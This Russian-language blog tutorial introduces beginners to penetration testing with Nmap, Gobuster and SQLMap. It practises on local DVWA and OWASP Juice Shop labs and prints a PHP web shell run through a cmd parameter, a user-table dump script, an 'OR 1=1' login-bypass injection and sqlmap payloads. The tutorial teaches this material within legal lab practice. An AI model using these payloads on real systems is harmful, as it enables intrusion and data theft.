Как стать автором
Обновить

Pentesting 101: с чего начать

Уровень сложностиСредний
Время на прочтение11 мин
Количество просмотров7.7K

Пентестеры — это не «недохакеры», а специалисты по информационной безопасности, имитирующие реальные кибератаки для обнаружения слабых мест в системах. Их также называют «этичными хакерами» или «тестировщиками безопасности», но суть работы остается неизменной: они помогают компаниям защититься от потенциальных угроз, действуя в рамках закона.

Меня зовут Илья, мой путь в пентестинге начался после длительного опыта в веб‑разработке. Сейчас я работаю в компании Bright Security, где занимаюсь разработкой системы DAST (Dynamic Application Security Testing). Этот метод тестирования приложений позволяет выявлять уязвимости в режиме реального времени за счет анализа его работы при помощи сканирования.

В этой статье мы разберемся, как работает тестирование на проникновение, изучим основы таких инструментов как Nmap, Gobuster и SQLMap и даже найдем парочку уязвимостей в приложениях DVWA и OWASP Juice Shop. Статья полезна для тех, кто присматривается к данной сфере и хочет потренироваться. Никакой рекламы курсов — материал рассчитан на тех, кто имеет базовые представления и готов погрузиться в самостоятельные изыскания.

Навигация по статье:

Различия между хакерами

Хакеры делятся на несколько категорий в зависимости от целей и методов:

  • Black Hat: действуют незаконно, наносят вред, крадут данные или получают финансовую выгоду.

  • White Hat: работают легально, проводят пентесты и выявляют уязвимости, чтобы защитить системы.

  • Grey Hat: применяют методы, схожие с Black Hat, но с намерением помочь улучшить безопасность, хотя их действия могут находиться в серой зоне законодательства.

Основные задачи пентеста

Пентестеры относятся к категории White Hat. Совмещая навыки программиста и специалиста по кибербезопасности, они выполняют следующие задачи:

  1. Обнаружение уязвимостей: идентификация слабых мест, таких как устаревшие компоненты, незащищенные пароли и ошибки в настройке сетевых устройств.

  2. Проверка защитных механизмов: оценка эффективности существующих мер безопасности и их способности противостоять несанкционированному доступу.

  3. Имитация угроз: моделирование поведения злоумышленников в контролируемой среде для проверки реакции системы на потенциальные атаки.

  4. Обучение сотрудников: повышение осведомленности персонала о киберугрозах и подготовка их к действиям в случае инцидентов.

  5. Соблюдение нормативов: подтверждение соответствия систем государственным стандартам безопасности, что особенно важно для отраслей с высокими требованиями к защите данных.

С чего начать, если вы хотите стать пентестером

Вот краткий список основ, которые помогут вам начать:

  • IT и сети: освойте базовые принципы работы операционных систем (Linux, Windows) и сети (TCP/IP, HTTP, DNS).

  • Программирование: выучите хотя бы один язык (например, Python, Ruby или Crystal) для автоматизации задач и создания инструментов.

  • Кибербезопасность: разберитесь с типичными уязвимостями (SQL‑инъекции, XSS, CSRF) и основами криптографии.

  • Инструменты: попробуйте Nmap, Wireshark, Metasploit, Burp Suite — они помогут вам в практических задачах.

  • Этика и закон: помните, что пентестинг легален только с разрешения владельцев систем. Соблюдение этики — залог успешной карьеры.

  • Практика: используйте платформы вроде Hack The Box, TryHackMe или VulnHub для закрепления знаний в реальных сценариях.

Кроме того, вот хорошая статья с более подробным описанием необходимых шагов. А мы сейчас перейдем к практике без лишнего промедления.

Анализ сети с Nmap

Переходя от теории к практике, рассмотрим один из первых шагов пентеста — анализ сети. Представим, что мы знаем лишь IP‑адрес сервера. Чтобы понять, какие на нем запущены сервисы и какие порты открыты, мы можем использовать популярную утилиту Nmap, которая имеет очень широкую функциональность:

  • сканирование открытых портов и определение сервисов на них;

  • определение операционных систем и версий программного обеспечения;

  • выявление сетевых фильтров и фаерволов;

  • получение дополнительной информации о целевой системе.

Не буду останавливаться подробно, продемонстрирую несколько базовых примеров. Официальная документация.

Установив Nmap к себе на компьютер, можем просканировать свой localhost. Таким образом, после сканирования утилита покажет все найденные открытые порты и сервисы запущенные на них. В моем случае:

Если же добавить флаг ‑sV, то Nmap предоставит гораздо больше информации, в том числе версии запущенных приложений на SSH и HTTP портах. Зная, какие именно службы (и их версии) работают на целевой машине, пентестер получает «карту» потенциальных точек атаки. Если, например, обнаружена старая версия Apache или MySQL, он может сразу проверить наличие известных уязвимостей и эксплойтов именно для этих версий. Это помогает эффективнее выбирать инструменты и методики взлома, экономит время и делает тестирование более точным.

Поиск скрытых директорий с gobuster

Если у нас есть потенциальный сайт для атаки, мы знаем адрес его главной страницы и можем проверить, какие скрытые страницы и директории на этом домене. Для получения подобной информации можно использовать gobuster. Это хороший инструмент для перебора директорий на сайте. В целом имеется множество инструментов, схожих по функциональности, например, dirb, dirsearch и другие. Для анализа директорий gobuster использует словари, есть множество готовых, например я использовал этот.

А теперь мы видим, что сервис, запущенный на localhost:31 337 написан на CMS Wordpress, а так же имеет файл robots.txt. Для подробного анализа мы можем найти специальный словарь для Wordpress и повторить сканирование.

Использование заведомо уязвимых приложений

Для безопасной практики пентеста часто используют преднамеренно уязвимые веб-приложения. Их разворачивают локально, чтобы тестировать инструменты без риска нанести вред реальной инфраструктуре. Ниже перечислены несколько популярных вариантов:

DVWA (Damn Vulnerable Web App)

  • Классическое учебное приложение с намеренно внедренными уязвимостями (SQL Injection, XSS, CSRF и др.).

  • Позволяет практиковать разные уровни сложности атак — от низкого до высокого.

  • GitHub

OWASP Juice Shop

  • «Интернет-магазин», содержащий все возможные категории уязвимостей из OWASP Top 10.

  • Построен на современном технологическом стеке (Angular, Node.js).

  • GitHub

bWAPP (Buggy Web Application)

  • Еще одно веб-приложение с множеством намеренных багов (от базовых до продвинутых).

  • Имеет широкую поддержку атак, в том числе на мобильные API.

  • Официальный сайт

WebGoat (OWASP Project)

  • Набор практических заданий по веб-безопасности с примерами уязвимостей.

  • Имеет геймифицированный формат с пошаговыми инструкциями для каждой уязвимости.

  • GitHub

Hackazon (Rapid7)

  • Веб-приложение, имитирующее сайт интернет-магазина, содержащее типичные уязвимости.

  • Развертывается локально для проведения различных сценариев атак.

  • GitHub

VulnHub

  • Не отдельное приложение, а платформа с готовыми виртуальными машинами, каждая из которых имеет набор уязвимостей.

  • Удобно для проведения полных (end-to-end) пентестов в виртуальной среде.

  • Официальный сайт

Используя перечисленные проекты, вы можете нарабатывать навыки по всем основным аспектам пентеста: от простых SQL-инъекций до более сложных сценариев, связанных с правами доступа и скрытыми сервисами. Кроме того, многие приложения уже имеют список содержащихся в них уязвимостей, что упрощает выбор для тренировки.

Загрузка вредоносного файла на DVWA

Валидация загружаемых на сервер файлов критически важна. Если злоумышленник загрузит вредоносный файл на ваш сервер, он сможет легко получить доступ к чувствительным данным, выполнять shell‑команды, скачать базу данных вашего сайта и многое другое. Давайте разберемся, как это сделать на примере DVWA.

Установка DVWA

Если у вас уже установлены git и docker, установка DVWA будет простой:

git clone https://github.com/digininja/DVWA.git
cd DVWA
docker compose up -d

После успешной установки перейдите по адресу http://localhost:4280/ и выполните первичную настройку приложения.

Первичная настройка DVWA

  1. Введите логин admin и пароль password, затем нажмите «Login».

  2. На главной странице нажмите «Create / Reset Database».

  3. Авторизуйтесь заново.

  4. Перейдите наhttp://localhost:4280/security.php и установите уровень защиты на «Low». Это упростит взлом приложения для наших целей.

Демонстрация уязвимости

Перейдем на страницу загрузки файлов http://localhost:4280/vulnerabilities/upload/ и загрузим туда PHP‑файл malicious.php, который будет выполнять shell‑команды, переданные через параметр cmd:

<?php
if(isset($_REQUEST['cmd'])){
    echo "<pre>" . shell_exec($_REQUEST['cmd']) . "</pre>";
}

Теперь, перейдя по адресу http://localhost:4280/hackable/uploads/malicious.php?cmd=pwd, вы увидите вывод команды pwd. Это означает, что мы успешно загрузили файл в эту директорию и нашли уязвимость в системе.

Продвинутый пример: экспорт списка пользователей

Но зачем нам просто директория на сервере? Давайте займемся чем‑то более интересным: например, получим список пользователей из базы данных:

  1. Создаем PHP‑файл export_users.php со следующим содержимым:

<?php
// Настройка параметров подключения к базе данных
$host = '';
$db   = '';
$user = '';
$pass = '';
$charset = 'utf8mb4';

$dsn = "mysql:host=$host;dbname=$db;charset=$charset";
// Подключение к базе данных
$pdo = new PDO($dsn, $user, $pass);

// Запрос для получения всех пользователей 
$stmt = $pdo->query("SELECT * FROM users");

// Получение всех данных и вывод на экран
$users = $stmt->fetchAll();
print_r($users);
exit;
?>
  1. Загружаем этот файл на сайт через ту же форму и переходим на http://localhost:4280/hackable/uploads/export_users.php, чтобы посмотреть результат — полный список пользователей из базы данных DVWA.

Да, для этого примера нам нужно знать данные для подключения к базе данных, но это уже дело техники. Можете покопаться в конфигах проекта и найти эти переменные самостоятельно или написать свой php‑скрипт, который вытянет эти данные с сервера.

SQL-инъекция на OWASP Juice Shop

SQL‑инъекция является одной из самых критических и популярных уязвимостей на сегодняшний день. Причина в том, что если разработчик не проверяет и не экранирует входные данные пользователя, а использует их напрямую в SQL‑запросах, злоумышленник может внедрить собственный код в запрос к базе данных. Это повышает риск получения несанкционированного доступа к данным, а в худших случаях приводит к полной компрометации системы. Рассмотрим ее на примере OWASP Juice Shop.

Установим Juice Shop

В документации есть несколько вариантов установки, я выберу самый короткий — через docker.

docker pull bkimminich/juice-shop 
docker run --rm -p 127.0.0.1:3000:3000 bkimminich/juice-shop

После успешной установки перейдите по адресу http://localhost:3000, там должно быть запущено приложение.

Атака на форму авторизации

В Juice Shop на странице авторизации мы имеем форму, которая уязвима к SQL‑инъекции. По умолчанию в репозитории Juice Shop можно найти корректные логин и пароль для входа, однако интереснее будет проверить типичный сценарий SQL‑инъекции.

В Juice Shop на странице авторизации мы имеем форму, которая уязвима к SQL‑инъекции. По умолчанию в репозитории Juice Shop можно найти корректные логин и пароль для входа, однако интереснее будет проверить типичный сценарий SQL‑инъекции.

Попробуйте ввести в поле логина: blablabla' OR 1=1 --, а в поле пароля — любое значение (например, 1234). Несмотря на неправильные данные, авторизация пройдет успешно. Что произошло?

  1. Логическая часть OR 1=1 
    Когда в строке запроса к базе данных появляется условие OR 1=1, оно всегда истинно. Таким образом, SQL‑инъекция «обманывает» систему проверок, заявляя: «Верни мне пользователя, если логин равен 'blablabla' или условие 1=1». Поскольку 1=1 всегда истинно, критерий отбора не ограничивается конкретным логином.

  2. Конструкция --
    В SQL -- означает комментарий до конца строки. Все идущее после ‑, игнорируется сервером баз данных, что прерывает дальнейший синтаксис запроса. Таким образом, если в исходном запросе была проверка пароля, она попросту не выполняется, поскольку закомментирована.

В качестве упражнения вы можете попробовать другие варианты строк для проверки того, насколько гибко реагирует форма авторизации на SQL‑инъекции.

Проверка SQL-инъекции через SqlMap

Еще хотел бы кратко поговорить о еще одном полезном инструменте для тестирования SQL‑инъекций. SQLMap — это популярный инструмент с открытым исходным кодом, предназначенный для автоматизации процесса обнаружения и эксплуатации уязвимостей типа SQL‑инъекция. Он способен:

  1. Автоматически определять типы уязвимостей (Boolean‑based, Error‑based, UNION‑based, Blind SQL Injection и т. д.).

  2. Извлекать структуру базы данных (имена баз, таблиц, столбцов).

  3. Выполнять команды (если у приложения некорректно настроены права).

  4. Получать хэшированные пароли и даже (при определённых условиях) их расшифровывать.

  5. И многое другое (к примеру, брутфорс определенных параметров, обход WAF/IPS и т. д.).

Как использовать SQLMap

В большинстве современных дистрибутивов Linux SQLMap можно установить из репозиториев:

sudo apt-get install sqlmap

Чтобы не указывать все заголовки вручную в каждый раз, запишем запрос в файл request.txt:

POST /rest/user/login HTTP/1.1
Host: localhost:3000
Accept: application/json
Content-Type: application/json
{"email":"test@email.com","password":"password"}

Запустим sqlmap для анализа нашего запрос:

sqlmap -r request.txt --ignore-code=401,500 --level=2

-r request.txt передает весь запрос из файла;

--ignore-code=401,500 позволяет игнорировать ответы с кодами 401 и 500, которые в нашем случае приведут к ошибкам и sqlmap не обнаружит SQL‑инъекцию;

--level=2 включает дополнительные тесты (по сравнению с уровнем 1).

Как видно, sqlmap тоже нашел SQL‑инъекцию, только использовал другой payload: ' AND CASE WHEN 4625=4625 THEN 4625 ELSE JSON(CHAR(114,71,84,66)) END AND 'teul'='teul

А если мы увеличим параметр level и добавим параметр risk, то sqlmap покажет нам, что эту же SQL‑инъекцию можно найти за счет time‑based техники.

То есть в этом случае добавляется ' OR 3714=LIKE(CHAR(65,66,67,68,69,70,71), UPPER(HEX(RANDOMBLOB(500000000/2))))-- LrCf.

Здесь SQLMap вызывает долгую операцию RANDOMBLOB(...), чтобы отследить, замедлится ли ответ. Если ответ действительно задерживается, это подтверждает наличие уязвимости (time‑based blind).

Заключение

Пентестинг — увлекательная, но кропотливая область, требующая от вас практических навыков и постоянного самообразования. В этой статье мы рассмотрели основы — от сканирования портов с помощью Nmap до поиска SQL‑инъекций с SQLMap. Теперь, чтобы закрепить знания и начать действовать как начинающий специалист, рекомендую следующий план:

  1. Практика на преднамеренно уязвимых приложениях: используйте среды вроде DVWA, OWASP Juice Shop, bWAPP и WebGoat. Эти платформы созданы специально для безопасного отрабатывания техник поиска уязвимостей.

  2. Освоение базовых инструментов пентеста:

    • Nmap: для сканирования сетей и поиска открытых портов.

    • Gobuster: для перебора директорий и обнаружения скрытых ресурсов.

    • SQLMap: для автоматизированного поиска SQL‑инъекций.

    • Burp Suite: для анализа и модификации веб‑трафика.
      Дополнительно изучите альтернативы, такие как OWASP ZAP, WFuzz или GoBuster, чтобы расширить свой инструментарий.

  3. Участие в онлайн‑тренировках и CTF‑соревнованиях: платформы типа Hack The Box, TryHackMe и VulnHub предлагают реальные сценарии атак, где можно проверить и улучшить свои навыки в условиях, приближенных к реальности.

  4. Постоянное самообразование: регулярно изучайте новые техники и уязвимости, следите за новостями в области кибербезопасности и участвуйте в профессиональных сообществах. Это поможет вам не только закрепить базовые знания, но и идти в ногу с быстро меняющимися технологиями.

Если почувствуете готовность к следующему этапу, попробуйте свои силы в программах Bug Bounty — это отличный способ проверить свои навыки на реальных проектах и, возможно, даже заработать.

Помните: регулярная практика и любознательность — ключ к успеху. Удачи на вашем пути к становлению квалифицированным пентестером! Спасибо, что дочитали, буду рад ответить на ваши вопросы в телеграме @ScriptedEcho.

Теги:
Хабы:
Всего голосов 8: ↑8 и ↓0+8
Комментарии4

Публикации